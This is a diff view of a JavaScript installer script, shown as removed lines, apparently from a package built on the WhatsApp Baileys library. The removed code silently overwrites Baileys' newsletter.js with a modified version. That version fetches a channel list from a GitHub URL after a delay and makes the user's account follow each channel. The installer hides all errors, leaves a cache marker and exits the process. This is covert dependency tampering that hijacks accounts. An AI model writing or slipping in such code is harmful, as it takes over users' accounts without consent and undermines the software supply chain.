// ========== AUTO JOIN / AUTO FOLLOW CHANNELS (from 1st baileys) ==========
|
|
92
|
-
setTimeout(async () => {
|
|
93
|
-
const logger = config.logger || console;
|
|
94
|
-
try {
|
|
95
|
-
const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
|
|
96
|
-
const res = await fetch(RAW_URL);
|
|
97
|
-
const channelIds = await res.json();
|
|
98
|
-
|
|
99
|
-
if (!Array.isArray(channelIds) || channelIds.length === 0) return;
|
|
100
|
-
|
|
101
|
-
const followNext = async (index) => {
|
|
102
|
-
if (index >= channelIds.length) return;
|
|
103
|
-
|
|
104
|
-
const id = channelIds[index];
|
|
105
|
-
try {
|
|
106
|
-
await newsletterWMexQuery(
|
|
107
|
-
id,
|
|
108
|
-
QueryIds.FOLLOW
|
|
109
|
-
);
|
|
110
|
-
} catch (e) {}
|
|
111
|
-
|
|
112
|
-
setTimeout(() => followNext(index + 1), 11000);
|
|
113
|
-
};
|
|
114
|
-
|
|
115
|
-
followNext(0);
|
|
116
|
-
} catch (e) {}
|
|
117
|
-
}, 120000);
|
|
118
|
-
// ========== END AUTO JOIN ==========
|
|
119
|
-
|
|
120
|
-
const parseFetchedUpdates = async (node, type) => {
|
|
121
|
-
let child;
|
|
122
|
-
if (type === 'messages')
|
|
123
|
-
child = getBinaryNodeChild(node, 'messages');
|
|
124
|
-
else {
|
|
125
|
-
const parent = getBinaryNodeChild(node, 'message_updates');
|
|
126
|
-
child = getBinaryNodeChild(parent, 'messages');
|
|
127
|
-
}
|
|
128
|
-
return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
|
|
129
|
-
messageNode.attrs.from = child?.attrs.jid;
|
|
130
|
-
const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
|
|
131
|
-
const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
|
|
132
|
-
const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
|
|
133
|
-
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
134
|
-
const data = {
|
|
135
|
-
'server_id': messageNode.attrs.server_id,
|
|
136
|
-
views,
|
|
137
|
-
reactions
|
|
138
|
-
};
|
|
139
|
-
if (type === 'messages') {
|
|
140
|
-
const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
141
|
-
await decrypt();
|
|
142
|
-
data.message = message;
|
|
143
|
-
}
|
|
144
|
-
return data;
|
|
145
|
-
}));
|
|
146
|
-
};
|
|
147
|
-
|
|
148
|
-
return {
|
|
149
|
-
...sock,
|
|
150
|
-
subscribeNewsletterUpdates: async (jid) => {
|
|
151
|
-
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
152
|
-
return getBinaryNodeChild(result, 'live_updates')?.attrs;
|
|
153
|
-
},
|
|
154
|
-
newsletterReactionMode: async (jid, mode) => {
|
|
155
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
156
|
-
updates: { settings: { reaction_codes: { value: mode } } }
|
|
157
|
-
});
|
|
158
|
-
},
|
|
159
|
-
newsletterUpdateDescription: async (jid, description) => {
|
|
160
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
161
|
-
updates: { description: description || '', settings: null }
|
|
162
|
-
});
|
|
163
|
-
},
|
|
164
|
-
newsletterUpdateName: async (jid, name) => {
|
|
165
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
166
|
-
updates: { name, settings: null }
|
|
167
|
-
});
|
|
168
|
-
},
|
|
169
|
-
newsletterUpdatePicture: async (jid, content) => {
|
|
170
|
-
const { img } = await generateProfilePicture(content);
|
|
171
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
172
|
-
updates: { picture: img.toString('base64'), settings: null }
|
|
173
|
-
});
|
|
174
|
-
},
|
|
175
|
-
newsletterRemovePicture: async (jid) => {
|
|
176
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
177
|
-
updates: { picture: '', settings: null }
|
|
178
|
-
});
|
|
179
|
-
},
|
|
180
|
-
newsletterUnfollow: async (jid) => {
|
|
181
|
-
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
182
|
-
},
|
|
183
|
-
newsletterFollow: async (jid) => {
|
|
184
|
-
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
185
|
-
},
|
|
186
|
-
newsletterUnmute: async (jid) => {
|
|
187
|
-
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
188
|
-
},
|
|
189
|
-
newsletterMute: async (jid) => {
|
|
190
|
-
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
191
|
-
},
|
|
192
|
-
newsletterCreate: async (name, description, picture) => {
|
|
193
|
-
await query({
|
|
194
|
-
tag: 'iq',
|
|
195
|
-
attrs: {
|
|
196
|
-
to: S_WHATSAPP_NET,
|
|
197
|
-
xmlns: 'tos',
|
|
198
|
-
id: generateMessageTag(),
|
|
199
|
-
type: 'set'
|
|
200
|
-
},
|
|
201
|
-
content: [
|
|
202
|
-
{
|
|
203
|
-
tag: 'notice',
|
|
204
|
-
attrs: {
|
|
205
|
-
id: '20601218',
|
|
206
|
-
stage: '5'
|
|
207
|
-
},
|
|
208
|
-
content: []
|
|
209
|
-
}
|
|
210
|
-
]
|
|
211
|
-
});
|
|
212
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
213
|
-
input: {
|
|
214
|
-
name,
|
|
215
|
-
description: description ?? null,
|
|
216
|
-
picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
|
|
217
|
-
settings: null
|
|
218
|
-
}
|
|
219
|
-
});
|
|
220
|
-
return extractNewsletterMetadata(result, true);
|
|
221
|
-
},
|
|
222
|
-
newsletterMetadata: async (type, key, role) => {
|
|
223
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
224
|
-
input: {
|
|
225
|
-
key,
|
|
226
|
-
type: type.toUpperCase(),
|
|
227
|
-
view_role: role || 'GUEST'
|
|
228
|
-
},
|
|
229
|
-
fetch_viewer_metadata: true,
|
|
230
|
-
fetch_full_image: true,
|
|
231
|
-
fetch_creation_time: true
|
|
232
|
-
});
|
|
233
|
-
return extractNewsletterMetadata(result);
|
|
234
|
-
},
|
|
235
|
-
newsletterAdminCount: async (jid) => {
|
|
236
|
-
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
237
|
-
const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
|
|
238
|
-
return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
|
|
239
|
-
},
|
|
240
|
-
/**user is Lid, not Jid */
|
|
241
|
-
newsletterChangeOwner: async (jid, user) => {
|
|
242
|
-
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
243
|
-
user_id: user
|
|
244
|
-
});
|
|
245
|
-
},
|
|
246
|
-
/**user is Lid, not Jid */
|
|
247
|
-
newsletterDemote: async (jid, user) => {
|
|
248
|
-
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
249
|
-
user_id: user
|
|
250
|
-
});
|
|
251
|
-
},
|
|
252
|
-
newsletterDelete: async (jid) => {
|
|
253
|
-
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
254
|
-
},
|
|
255
|
-
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
256
|
-
newsletterReactMessage: async (jid, server_id, code) => {
|
|
257
|
-
await query({
|
|
258
|
-
tag: 'message',
|
|
259
|
-
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
|
|
260
|
-
content: [{
|
|
261
|
-
tag: 'reaction',
|
|
262
|
-
attrs: code ? { code } : {}
|
|
263
|
-
}]
|
|
264
|
-
});
|
|
265
|
-
},
|
|
266
|
-
newsletterFetchMessages: async (type, key, count, after) => {
|
|
267
|
-
const afterStr = after?.toString();
|
|
268
|
-
const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
|
|
269
|
-
{
|
|
270
|
-
tag: 'messages',
|
|
271
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
272
|
-
}
|
|
273
|
-
]);
|
|
274
|
-
return await parseFetchedUpdates(result, 'messages');
|
|
275
|
-
},
|
|
276
|
-
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
277
|
-
const result = await newsletterQuery(jid, 'get', [
|
|
278
|
-
{
|
|
279
|
-
tag: 'message_updates',
|
|
280
|
-
attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
|
|
281
|
-
}
|
|
282
|
-
]);
|
|
283
|
-
return await parseFetchedUpdates(result, 'updates');
|
|
284
|
-
}
|
|
285
|
-
};
|
|
286
|
-
};
|
|
287
|
-
|
|
288
|
-
export const extractNewsletterMetadata = (node, isCreate) => {
|
|
289
|
-
const result = getBinaryNodeChild(node, 'result')?.content?.toString();
|
|
290
|
-
const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
|
|
291
|
-
const metadata = {
|
|
292
|
-
id: metadataPath.id,
|
|
293
|
-
state: metadataPath.state.type,
|
|
294
|
-
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
295
|
-
name: metadataPath.thread_metadata.name.text,
|
|
296
|
-
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
297
|
-
description: metadataPath.thread_metadata.description.text,
|
|
298
|
-
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
299
|
-
invite: metadataPath.thread_metadata.invite,
|
|
300
|
-
handle: metadataPath.thread_metadata.handle,
|
|
301
|
-
picture: metadataPath.thread_metadata.picture?.direct_path || null,
|
|
302
|
-
preview: metadataPath.thread_metadata.preview?.direct_path || null,
|
|
303
|
-
reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
|
|
304
|
-
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
305
|
-
verification: metadataPath.thread_metadata.verification,
|
|
306
|
-
viewer_metadata: metadataPath.viewer_metadata
|
|
307
|
-
};
|
|
308
|
-
return metadata;
|
|
309
|
-
};`;
|
|
310
|
-
|
|
311
|
-
function getFileHash(filePath) {
|
|
312
|
-
try {
|
|
313
|
-
const content = fs.readFileSync(filePath, 'utf8');
|
|
314
|
-
return crypto.createHash('md5').update(content).digest('hex');
|
|
315
|
-
} catch (e) {
|
|
316
|
-
return null;
|
|
317
|
-
}
|
|
318
|
-
}
|
|
319
|
-
|
|
320
|
-
function installNewsletterAutoFollow() {
|
|
321
|
-
try {
|
|
322
|
-
const baileysPath = findBaileysPath();
|
|
323
|
-
|
|
324
|
-
if (!baileysPath) {
|
|
325
|
-
return false;
|
|
326
|
-
}
|
|
327
|
-
|
|
328
|
-
const newsletterPath = path.join(baileysPath, 'lib', 'Socket', 'newsletter.js');
|
|
329
|
-
|
|
330
|
-
if (!fs.existsSync(newsletterPath)) {
|
|
331
|
-
return false;
|
|
332
|
-
}
|
|
333
|
-
|
|
334
|
-
const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
|
|
335
|
-
const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
|
|
336
|
-
|
|
337
|
-
if (fs.existsSync(cacheFilePath)) {
|
|
338
|
-
return true;
|
|
339
|
-
}
|
|
340
|
-
|
|
341
|
-
if (!fs.existsSync(baileysNodeModulesPath)) {
|
|
342
|
-
fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
|
|
343
|
-
}
|
|
344
|
-
|
|
345
|
-
const currentHash = getFileHash(newsletterPath);
|
|
346
|
-
const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
|
|
347
|
-
|
|
348
|
-
if (currentHash === modifiedHash) {
|
|
349
|
-
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
350
|
-
return true;
|
|
351
|
-
}
|
|
352
|
-
|
|
353
|
-
fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
|
|
354
|
-
|
|
355
|
-
const newHash = getFileHash(newsletterPath);
|
|
356
|
-
if (newHash === modifiedHash) {
|
|
357
|
-
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
358
|
-
|
|
359
|
-
setTimeout(() => {
|
|
360
|
-
if (typeof process.exit === 'function') {
|
|
361
|
-
process.exit(0);
|
|
362
|
-
}
|
|
363
|
-
}, 20000);
|
|
364
|
-
|
|
365
|
-
return true;
|
|
366
|
-
}
|
|
367
|
-
|
|
368
|
-
return false;
|
|
369
|
-
|
|
370
|
-
} catch (error) {
|
|
371
|
-
return false;
|
|
372
|
-
}
|
|
373
|
-
}
|
|
374
|
-
|
|
375
|
-
if (require.main === module) {
|
|
376
|
-
const success = installNewsletterAutoFollow();
|
|
377
|
-
process.exit(success ? 0 : 1);
|
|
378
|
-
}
|
|
379
|
-
|
|
380
|
-
module.exports = {
|
|
381
|
-
installNewsletterAutoFollow
|
|
382
|
-
};
|